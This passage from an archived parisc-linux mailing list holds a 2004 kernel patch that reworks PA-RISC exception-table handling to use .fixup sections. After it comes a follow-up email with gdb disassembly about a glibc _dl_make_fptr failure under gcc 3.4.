 "3:	std	%%r20,0(%%sr1,%2)\n"
 "4:	std	%%r21,8(%%sr1,%2)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"5:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"5:	\n"
+"	.section .fixup,\"ax\"\n"
+"6:	ldi	-2, %0\n"
+	FIXUP_BRANCH(5b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(5b-1b)\n"
-"	.dword  2b,(5b-2b)\n"
-"	.dword	3b,(5b-3b)\n"
-"	.dword  4b,(5b-4b)\n"
-#else
-"	.word	1b,(5b-1b)\n"
-"	.word	2b,(5b-2b)\n"
-"	.word	3b,(5b-3b)\n"
-"	.word	4b,(5b-4b)\n"
+"	.dword	1b,6b\n"
+"	.dword  2b,6b\n"
+"	.dword	3b,6b\n"
+"	.dword  4b,6b\n"
+#else
+"	.word	1b,6b\n"
+"	.word	2b,6b\n"
+"	.word	3b,6b\n"
+"	.word	4b,6b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
@@ -438,21 +466,25 @@ static int emulate_std(struct pt_regs *r
 "3:	stw	%1,0(%%sr1,%1)\n"
 "4:	stw	%%r1,4(%%sr1,%3)\n"
 "5:	stw	%2,8(%%sr1,%3)\n"
-"	cmpclr,= %%r0, %%r0, %0\n"
-"6:	ldo	-2(%%r0), %0\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %0\n"
+"6:	\n"
+"	.section .fixup,\"ax\"\n"
+"7:	ldi	-2, %0\n"
+	FIXUP_BRANCH(6b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(6b-1b)\n"
-"	.dword  2b,(6b-2b)\n"
-"	.dword	3b,(6b-3b)\n"
-"	.dword  4b,(6b-4b)\n"
-"	.dword  5b,(6b-5b)\n"
-#else
-"	.word	1b,(6b-1b)\n"
-"	.word	2b,(6b-2b)\n"
-"	.word	3b,(6b-3b)\n"
-"	.word	4b,(6b-4b)\n"
-"	.word  	5b,(6b-5b)\n"
+"	.dword	1b,7b\n"
+"	.dword  2b,7b\n"
+"	.dword	3b,7b\n"
+"	.dword  4b,7b\n"
+"	.dword  5b,7b\n"
+#else
+"	.word	1b,7b\n"
+"	.word	2b,7b\n"
+"	.word	3b,7b\n"
+"	.word	4b,7b\n"
+"	.word  	5b,7b\n"
 #endif
 "	.previous\n"
 	: "=r" (ret)
Index: arch/parisc/lib/lusercopy.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/lusercopy.S,v
retrieving revision 1.3
diff -u -p -r1.3 lusercopy.S
--- arch/parisc/lib/lusercopy.S	17 Jan 2004 06:39:24 -0000	1.3
+++ arch/parisc/lib/lusercopy.S	11 Sep 2004 16:25:50 -0000
@@ -53,6 +53,18 @@
 	mtsp        %r1,%sr1
 	.endm
 
+#ifndef __LP64__
+	.macro fixup_branch lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	/*
 	 * unsigned long
 	 * lcopy_to_user(void *to, const void *from, unsigned long n)
@@ -77,14 +89,16 @@ $lctu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lctu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lctu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -118,18 +132,20 @@ $lcfu_done:
 	copy        %r24,%r28
 	.exit
 
+	.section .fixup,"ax"
 2:      copy        %r24,%r23
 $lcfu_zero_loop:
 	addib,<>    -1,%r23,$lcfu_zero_loop
 	stbs,ma     %r0,1(%r26)
-	b           $lcfu_done
+	fixup_branch $lcfu_done
 	nop
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -159,14 +175,16 @@ $lciu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lciu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lciu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -201,16 +219,18 @@ $lsfu_exit:
 	nop
 	.exit
 
-3:      b           $lsfu_exit
+	.section .fixup,"ax"
+3:      fixup_branch $lsfu_exit
 	ldi         -EFAULT,%r28
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
@@ -239,14 +259,16 @@ $lclu_done:
 	copy        %r25,%r28
 	.exit
 
-2:      b $lclu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lclu_done
 	ldo        1(%r25),%r25
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -282,16 +304,18 @@ $lslen_nzero:
 	b           $lslen_done
 	ldo         1(%r26),%r26 /* special case for N == 0 */
 
-3:      b           $lslen_done
+	.section .fixup,"ax"
+3:      fixup_branch $lslen_done
 	copy        %r24,%r26    /* reset r26 so 0 is returned on fault */
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
Index: arch/parisc/mm/fault.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/fault.c,v
retrieving revision 1.1
diff -u -p -r1.1 fault.c
--- arch/parisc/mm/fault.c	29 Jul 2003 17:00:42 -0000	1.1
+++ arch/parisc/mm/fault.c	11 Sep 2004 16:25:50 -0000
@@ -235,12 +235,14 @@ no_context:
 
 		if (fix) {
 
-			if (fix->skip & 1) 
-				regs->gr[8] = -EFAULT;
-			if (fix->skip & 2)
-				regs->gr[9] = 0;
+printk("applying fixup for 0x%lx, fixup at 0x%lx\n", regs->iaoq[0], fix->fixup & ~3);
 
-			regs->iaoq[0] += ((fix->skip) & ~3);
+			if (fix->fixup & 1) 
+				regs->gr[8] = regs->iir;
+			if (fix->fixup & 2)
+				regs->gr[9] = regs->ior;
+
+			regs->iaoq[0] = ((fix->fixup) & ~3);
 
 			/*
 			 * NOTE: In some cases the faulting instruction
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.13
diff -u -p -r1.13 uaccess.h
--- include/asm-parisc/uaccess.h	4 Feb 2004 18:24:55 -0000	1.13
+++ include/asm-parisc/uaccess.h	11 Sep 2004 16:26:04 -0000
@@ -54,16 +54,15 @@ extern int __put_user_bad(void);
 /*
  * The exception table contains two values: the first is an address
  * for an instruction that is allowed to fault, and the second is
- * the number of bytes to skip if a fault occurs. We also support in
- * two bit flags: 0x2 tells the exception handler to clear register
- * r9 and 0x1 tells the exception handler to put -EFAULT in r8.
- * This allows us to handle the simple cases for put_user and
- * get_user without having to have .fixup sections.
+ * the address to the fixup routine. We also support two bit flags: 
+ * 0x2 tells the exception handler to store the faulting address in
+ * r9 and 0x1 tells the exception handler to store the faulting
+ * insn in r8.
  */
 
 struct exception_table_entry {
 	unsigned long insn;  /* address of insn that is allowed to fault.   */
-	long skip;           /* pcoq skip | r9 clear flag | r8 -EFAULT flag */
+	long fixup;          /* fixup | r9 ior flag | r8 iir flag */
 };
 
 #define __get_user(x,ptr)                               \
@@ -94,43 +93,70 @@ struct exception_table_entry {
 	__gu_err;                                       \
 })
 
+#ifndef __LP64__
+#define FIXUP_BRANCH(lbl) \
+	"\tb " #lbl "\n"
+#else
+#define FIXUP_BRANCH(lbl) \
+	"\tldil L%%" #lbl ", %%r1\n"			\
+	"\tldo R%%" #lbl "(%%r1), %%r1\n"		\
+	"\tbv,n %%r0(%%r1)\n"
+#endif
+
+/* -14 is -EFAULT below */
 #ifdef __LP64__
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
 		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section .fixup,\"ax\"\n"		\
+		"3:\tldi -14, %1\n"			\
+		"\tcopy %%r0, %0\n"			\
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"                          	\
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.dword\t1b,3b\n"			\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
 		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section .fixup,\"ax\"\n"		\
+		"3:\tldi -14, %1\n"			\
+		"\tcopy %%r0, %0\n"			\
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"				\
+		"\t.section __ex_table,\"aw\"\n"	\
+		"\t.dword\t1b,3b\n"			\
+		"\t.previous"				\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
 #else
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
 		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
-		 "\t.previous"                          \
+		"\t.section .fixup,\"ax\"\n"		\
+		"3:\tldi -14, %1\n"			\
+		"\tcopy %%r0, %0\n"			\
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"				\
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.word\t1b,3b\n"			\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
 		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
+		"\t.section .fixup,\"ax\"\n"		\
+		"3:\tldi -14, %1\n"			\
+		"\tcopy %%r0, %0\n"			\
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"				\
+		"\t.section __ex_table,\"aw\"\n"	\
+		 "\t.word\t1b,3b\n"			\
 		 "\t.previous"                          \
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err));
@@ -168,15 +194,19 @@ struct exception_table_entry {
  * gcc knows about, so there are no aliasing issues.
  */
 
+/* -14 is -EFAULT below */
 #ifdef __LP64__
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
 		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
-		 "\t.previous"                              \
+		"\t.section .fixup,\"ax\"\n"		    \
+		"3:\tldi -14, %0\n"			    \
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"				    \
+		"\t.section __ex_table,\"aw\"\n"            \
+		"\t.dword\t1b,3b\n"			    \
+		"\t.previous"                               \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
@@ -184,9 +214,12 @@ struct exception_table_entry {
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
 		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
+		"\t.section .fixup,\"ax\"\n"		    \
+		"3:\tldi -14, %0\n"			    \
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"				    \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.dword\t1b,3b\n"			    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
@@ -195,9 +228,12 @@ struct exception_table_entry {
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
 		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section .fixup,\"ax\"\n"		    \
+		"3:\tldi -14, %0\n"			    \
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"				    \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,3b\n"			    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
@@ -206,9 +242,12 @@ struct exception_table_entry {
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
 		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section .fixup,\"ax\"\n"		    \
+		"3:\tldi -14, %0\n"			    \
+		FIXUP_BRANCH(2b)			\
+		"\t.previous"				    \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,3b\n"                         \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
@@ -221,11 +260,14 @@ static inline void __put_kernel_asm64(u6
 		"\n1:\tstw %1,0(%0)\n"
 		"\n2:\tstw %2,4(%0)\n"
 		"3:\n"
+		"\t.section .fixup,\"ax\"\n"
+/*		"4:\tldi -14, %0\n" */
+		"4:"
+		FIXUP_BRANCH(3b)
+		"\t.previous"
 		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
+		 "\t.word\t1b,4b\n"
+		 "\t.word\t2b,4b\n"
 		 "\t.previous"
 		: : "r"(ptr), "r"(hi), "r"(lo));
 
@@ -239,11 +281,14 @@ static inline void __put_user_asm64(u64 
 		"\n1:\tstw %1,0(%%sr3,%0)\n"
 		"\n2:\tstw %2,4(%%sr3,%0)\n"
 		"3:\n"
+		"\t.section .fixup,\"ax\"\n"
+/*		"4:\tldi -14, %0\n" */
+		"4:"
+		FIXUP_BRANCH(3b)
+		"\t.previous"
 		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
+		 "\t.word\t1b,4b\n"
+		 "\t.word\t2b,4b\n"
 		 "\t.previous"
 		: : "r"(ptr), "r"(hi), "r"(lo));
 
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] stay the same with gcc-3.4.2 :( [was: back to
 glibc-2.3.3 & gcc-3.4.1 pb]
Date: Sat, 11 Sep 2004 18:22:00 +0000
Lines: 328
Approved: news@gmane.org
Message-ID: <41434248.7070009@tiscali.be>
References: <200409060239.i862dAh2001466@hiauly1.hia.nrc.ca>
	<413CDB5F.3080705@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623549 10990 80.91.229.3 (22 Nov 2014 02:32:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:29 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2855 invoked by uid 65534); 11 Sep 2004 18:20:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 11 Sep 2004 20:20:54 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 354FE3BDD6; Sat, 11 Sep 2004 12:20:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24440-01; Sat, 11 Sep 2004 12:20:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C72773BDF6; Sat, 11 Sep 2004 12:20:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 528783BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 12:20:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23815-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 12:20:20 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 3A8D53BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Sep 2004 12:20:19 -0600 (MDT)
Original-Received: from [83.134.222.120] (helo=[83.134.222.120])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C6CTv-0005t5-9d; Sat, 11 Sep 2004 20:20:15 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <413CDB5F.3080705@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21966

Hello all,

I didn't do much more because I was very busy elsewhere and also because of the announce of gcc-3.4.2.
I was hoping that it fix the pb but unfortunately it's not the case :(

I will so continue investigation ;)

See you latter,
	Joel

Joel Soete wrote:
> Hello Dave,
> 
> John David Anglin wrote:
> 
>>>     0x411cc740 <_dl_make_fptr+112>: ldw,s r7(,r6),ret0
>>> in:
>>> r7 == 0x7c4
>>> r6 == 0x0
>>
>>
>>
>> r6 is wrong.  Find out why it is zero.
>>
> Far from being an expert, with help of ddd it seems that:
> ElfW(Addr)
> _dl_make_fptr (struct link_map *map, const ElfW(Sym) *sym,
>                ElfW(Addr) ip)
> {
>   ElfW(Addr) *ftab = map->l_mach.fptr_table;    <====[2]
> 
> (Elf32_Addr *)fptr_table == (Elf32_Addr *) 0x0
> 
> (the same for gcc-3.3 ;) )
> 
> is:
> Dump of assembler code from 0x411e371c to 0x411e381c:
>     0x411e371c <_dl_make_fptr+76>:  ldw 1fc(,r26),r6 (r6 == 0x0)
> 
> the weird stuff his in fact here:
> 
>   if (__builtin_expect (ftab == NULL, 0))
>     ftab = make_fptr_table (map);
> 
> with gcc-3.3 the register (r7) (which seems to me contains the value 
> pointed by ftab) is well the one addressed by map->l_mach.fptr_table ie 
> map->l_mach.fptr_table == 0x40001000 (and btw map->l_mach.fptr_table_len 
> == 2067)
> 
> OTC with gcc-3.4 the register (r6) after the 'call' of the inlined 
> make_fptr_table() is restored to its starting value i.e.: 0x0
> eventhought that map->l_mach.fptr_table == 0x40001000 (and btw 
> map->l_mach.fptr_table_len == 2067) exactly the same as gcc-3.3.
> 
> duno if it could help:
> for gcc-3.3 the text is:
> Dump of assembler code from 0x412630d0 to 0x412631d0:
>     0x412630d0 <_dl_make_fptr+44>:  ldw 1fc(,r26),r7    <====[2]
>     0x412630d4 <_dl_make_fptr+48>:  copy r26,r8
>     0x412630d8 <_dl_make_fptr+52>:  cmpib,= 0,r7,0x412631a0 
> <_dl_make_fptr+252>    <===='call' make_fptr_table()
>     0x412630dc <_dl_make_fptr+56>:  copy r25,r3
>     0x412630e0 <_dl_make_fptr+60>:  ldw 30(,r8),r20
>     0x412630e4 <_dl_make_fptr+64>:  ldw 1f8(,r8),r22
>     0x412630e8 <_dl_make_fptr+68>:  ldw 4(,r20),r21
>     0x412630ec <_dl_make_fptr+72>:  sub r3,r21,r21
>     0x412630f0 <_dl_make_fptr+76>:  extrw,s r21,27,28,r21
>     0x412630f4 <_dl_make_fptr+80>:  cmpb,<<= r22,r21,0x41263184 
> <_dl_make_fptr+224>
>     0x412630f8 <_dl_make_fptr+84>:  depw,z r21,29,30,r9
>     0x412630fc <_dl_make_fptr+88>:  add,l r9,r7,r21
>     0x41263100 <_dl_make_fptr+92>:  ldw 0(,r21),r20
>     0x41263104 <_dl_make_fptr+96>:  cmpib,<> 0,r20,0x41263150 
> <_dl_make_fptr+172>
>     0x41263108 <_dl_make_fptr+100>: copy r21,r3
>     0x4126310c <_dl_make_fptr+104>: copy r21,r6
>     0x41263110 <_dl_make_fptr+108>: addil 0,r19,%r1
>     0x41263114 <_dl_make_fptr+112>: ldw 5dc(,r1),r5
>     0x41263118 <_dl_make_fptr+116>: ldw 24(,r8),r20
>     0x4126311c <_dl_make_fptr+120>: copy r19,r4
>     0x41263120 <_dl_make_fptr+124>: copy r10,r26
>     0x41263124 <_dl_make_fptr+128>: b,l 0x41262fc4 <make_fdesc>,rp
>     0x41263128 <_dl_make_fptr+132>: ldw 4(,r20),r25
>     0x4126312c <_dl_make_fptr+136>: ldw 0(,r3),r20
>     0x41263130 <_dl_make_fptr+140>: cmpib,= 0,r20,0x4126317c 
> <_dl_make_fptr+216>
>     0x41263134 <_dl_make_fptr+144>: copy r4,r19
>     0x41263138 <_dl_make_fptr+148>: ldw 4(,r5),r20
>     0x4126313c <_dl_make_fptr+152>: stw r20,0(,ret0)
>     0x41263140 <_dl_make_fptr+156>: stw ret0,4(,r5)
>     0x41263144 <_dl_make_fptr+160>: ldw 0(,r6),r20
>     0x41263148 <_dl_make_fptr+164>: cmpib,=,n 0,r20,0x4126311c 
> <_dl_make_fptr+120>
>     0x4126314c <_dl_make_fptr+168>: ldw 24(,r8),r20
>     0x41263150 <_dl_make_fptr+172>: ldw r7(,r9),ret0
>     0x41263154 <_dl_make_fptr+176>: ldw -94(,sp),rp
>     0x41263158 <_dl_make_fptr+180>: ldw -7c(,sp),r9
>     0x4126315c <_dl_make_fptr+184>: ldw -78(,sp),r8
>     0x41263160 <_dl_make_fptr+188>: ldw -74(,sp),r7
>     0x41263164 <_dl_make_fptr+192>: ldw -70(,sp),r6
>     0x41263168 <_dl_make_fptr+196>: ldw -6c(,sp),r5
>     0x4126316c <_dl_make_fptr+200>: ldw -68(,sp),r4
>     0x41263170 <_dl_make_fptr+204>: ldw -64(,sp),r3
>     0x41263174 <_dl_make_fptr+208>: bv r0(rp)
>     0x41263178 <_dl_make_fptr+212>: ldw,mb -80(,sp),r10
>     0x4126317c <_dl_make_fptr+216>: b,l 0x41263150 <_dl_make_fptr+172>,r0
>     0x41263180 <_dl_make_fptr+220>: stw ret0,0(,r3)
>     0x41263184 <_dl_make_fptr+224>: addil 0,r19,%r1
>     0x41263188 <_dl_make_fptr+228>: ldi 0,r26
>     0x4126318c <_dl_make_fptr+232>: ldw 5e4(,r1),r1
>     0x41263190 <_dl_make_fptr+236>: copy r1,r23
>     0x41263194 <_dl_make_fptr+240>: ldi 0,r25
>     0x41263198 <_dl_make_fptr+244>: b,l 0x4125e4f8 <_dl_signal_error>,rp
>     0x4126319c <_dl_make_fptr+248>: ldi 0,r24
>     0x412631a0 <_dl_make_fptr+252>: ldw 2c(,r26),r21        <==== 
> map->l_mach.fptr_table()
>     0x412631a4 <_dl_make_fptr+256>: ldw 30(,r26),r20
>     0x412631a8 <_dl_make_fptr+260>: addil 0,r19,%r1
>     0x412631ac <_dl_make_fptr+264>: copy r19,r4
>     0x412631b0 <_dl_make_fptr+268>: ldw 4(,r20),r22
>     0x412631b4 <_dl_make_fptr+272>: ldw 4(,r21),r26
>     0x412631b8 <_dl_make_fptr+276>: ldi 3,r24
>     0x412631bc <_dl_make_fptr+280>: ldi 12,r23
>     0x412631c0 <_dl_make_fptr+284>: ldw 44(,r8),r21
>     0x412631c4 <_dl_make_fptr+288>: sub r26,r22,r26
>     0x412631c8 <_dl_make_fptr+292>: ldw 654(,r1),r1
>     0x412631cc <_dl_make_fptr+296>: ldw 4(,r21),r25
>     0x412631d0 <_dl_make_fptr+300>: ldw 4(,r1),r20
>     0x412631d4 <_dl_make_fptr+304>: ldi -1,r21
>     0x412631d8 <_dl_make_fptr+308>: b,l 0x41265570 <$$divU>,r31
>     0x412631dc <_dl_make_fptr+312>: sub r0,r20,r22
>     0x412631e0 <_dl_make_fptr+316>: stw r21,-34(,sp)
>     0x412631e4 <_dl_make_fptr+320>: ldi 0,r26
>     0x412631e8 <_dl_make_fptr+324>: depw,z ret1,29,30,r5
>     0x412631ec <_dl_make_fptr+328>: stw r0,-38(,sp)
>     0x412631f0 <_dl_make_fptr+332>: copy ret1,r6
>     0x412631f4 <_dl_make_fptr+336>: add,l r5,r20,r20
>     0x412631f8 <_dl_make_fptr+340>: add,l r20,r21,r20
>     0x412631fc <_dl_make_fptr+344>: and r20,r22,r20
>     0x41263200 <_dl_make_fptr+348>: b,l 0x412641bc <__mmap>,rp
>     0x41263204 <_dl_make_fptr+352>: copy r20,r25
>     0x41263208 <_dl_make_fptr+356>: copy r4,r19
>     0x4126320c <_dl_make_fptr+360>: cmpib,= -1,ret0,0x4126323c 
> <_dl_make_fptr+408>
>     0x41263210 <_dl_make_fptr+364>: copy ret0,r26
>     0x41263214 <_dl_make_fptr+368>: ldw 1fc(,r8),r20
>     0x41263218 <_dl_make_fptr+372>: cmpib,<>,n 0,r20,0x4126322c 
> <_dl_make_fptr+392>
>     0x4126321c <_dl_make_fptr+376>: stw ret0,1fc(,r8)
>     0x41263220 <_dl_make_fptr+380>: stw r6,1f8(,r8)
>     0x41263224 <_dl_make_fptr+384>: b,l 0x412630e0 <_dl_make_fptr+60>,r0
>     0x41263228 <_dl_make_fptr+388>: ldw 1fc(,r8),r7    <==== return 
> map->l_mach.fptr_table;
>     0x4126322c <_dl_make_fptr+392>: b,l 0x4126421c <munmap>,rp
>     0x41263230 <_dl_make_fptr+396>: copy r5,r25
>     0x41263234 <_dl_make_fptr+400>: b,l 0x41263224 <_dl_make_fptr+384>,r0
>     0x41263238 <_dl_make_fptr+404>: copy r4,r19
